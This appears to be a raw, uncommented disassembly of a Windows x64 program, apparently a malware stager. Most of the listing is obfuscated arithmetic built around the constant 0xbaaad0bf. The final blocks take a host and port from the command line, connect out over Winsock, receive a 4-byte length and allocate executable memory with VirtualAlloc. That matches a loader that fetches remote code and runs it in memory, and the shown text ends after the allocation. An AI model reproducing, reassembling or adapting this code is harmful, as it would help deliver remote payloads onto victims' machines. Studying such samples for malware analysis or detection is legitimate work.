mov rcx, rsp
call fcn.1400084c0
sub rsp, rax
mov rax, rsp
mov dword [rsi], 0
mov dword [r10], r11d
mov qword [r8], r9
mov edx, dword [rdx]
and edx, 3
mov dword [rcx], edx
mov dword [rax], 0
jmp 0x1400060d3
mov rax, qword [rbp - 0x18]
mov rdx, qword [rbp - 0x20]
mov ecx, dword [rdx]
or ecx, 0xbaaad0bf
mov edx, dword [rdx]
xor edx, 2
imul ecx, edx
mov dword [rax], ecx
jmp 0x1400061bc
jmp 0x14000623f
jmp 0x1400062c7
jmp 0x14000634f
mov rax, qword [rbp - 0x18]
mov rdx, qword [rbp - 0x20]
mov ecx, dword [rdx]
or ecx, 0xbaaad0bf
mov edx, dword [rdx]
xor edx, 2
imul ecx, edx
mov dword [rax], ecx
jmp 0x1400063b8
mov rax, qword [rbp - 0x18]
mov rdx, qword [rbp - 0x20]
mov ecx, dword [rdx]
and ecx, 0xbaaad0bf
mov edx, dword [rdx]
add edx, 3
imul ecx, edx
mov dword [rax], ecx
jmp 0x14000643b
jmp 0x1400064be
mov rax, qword [rbp - 0x18]
mov rdx, qword [rbp - 0x20]
mov ecx, dword [rdx]
xor ecx, 0xbaaad0bf
mov edx, dword [rdx]
or edx, 4
imul ecx, edx
mov dword [rax], ecx
jmp 0x140006527
jmp 0x1400065c9
jmp 0x140006637
mov rax, qword [rbp - 0x18]
mov rdx, qword [rbp - 0x20]
mov ecx, dword [rdx]
or ecx, 0xbaaad0bf
mov edx, dword [rdx]
xor edx, 2
imul ecx, edx
mov dword [rax], ecx
jmp 0x1400066a0
jmp 0x140006723
mov rax, qword [rbp - 0x18]
mov rdx, qword [rbp - 0x20]
mov ecx, dword [rdx]
add ecx, 0xbaaad0bf
mov edx, dword [rdx]
and edx, 5
imul ecx, edx
mov dword [rax], ecx
jmp 0x140006791
jmp 0x140006814
jmp 0x140006882
mov rax, qword [rbp - 0x18]
mov rdx, qword [rbp - 0x20]
mov ecx, dword [rdx]
or ecx, 0xbaaad0bf
mov edx, dword [rdx]
xor edx, 2
imul ecx, edx
mov dword [rax], ecx
jmp 0x1400068eb
jmp 0x14000696e
mov rax, qword [rbp - 0x18]
mov rdx, qword [rbp - 0x20]
mov ecx, dword [rdx]
and ecx, 0xbaaad0bf
mov edx, dword [rdx]
add edx, 3
imul ecx, edx
mov dword [rax], ecx
jmp 0x1400069d7
jmp 0x140006a5a
mov rax, qword [rbp - 0x18]
mov rdx, qword [rbp - 0x20]
mov ecx, dword [rdx]
add ecx, 0xbaaad0bf
mov edx, dword [rdx]
and edx, 5
imul ecx, edx
mov dword [rax], ecx
jmp 0x140006ac3
jmp 0x140006b4b
mov rax, qword [rbp - 0x28]
mov rcx, qword [rax]
mov rcx, qword [rcx + 8]
mov qword [rbp - 0x78], rcx
mov rax, qword [rax]
mov rcx, qword [rax + 0x10]
sub rsp, 0x20
call sub.msvcrt.dll_atoi
mov rcx, qword [rbp - 0x78]
add rsp, 0x20
mov edx, eax
sub rsp, 0x20
call sym.wsconnect
mov rdx, qword [rbp - 0x10]
add rsp, 0x20
mov rcx, rax
mov rax, qword [rbp + 0x10]
mov qword [rax], rcx
mov rcx, qword [rax]
mov r8d, 4
xor r9d, r9d
sub rsp, 0x20
call qword [sym.imp.WS2_32.dll_recv]
add rsp, 0x20
mov ecx, eax
mov rax, qword [rbp + 0x20]
mov dword [rax], ecx
jmp 0x140006bd2
jmp 0x140006ca1
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
add eax, 5
mov eax, eax
mov edx, eax
xor eax, eax
mov ecx, eax
mov r8d, 0x1000
mov r9d, 0x40
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
add rsp, 0x20
mov rcx, rax
mov rax, qword [rbp - 8]
mov qword [rax], rcx
jmp 0x140006d0a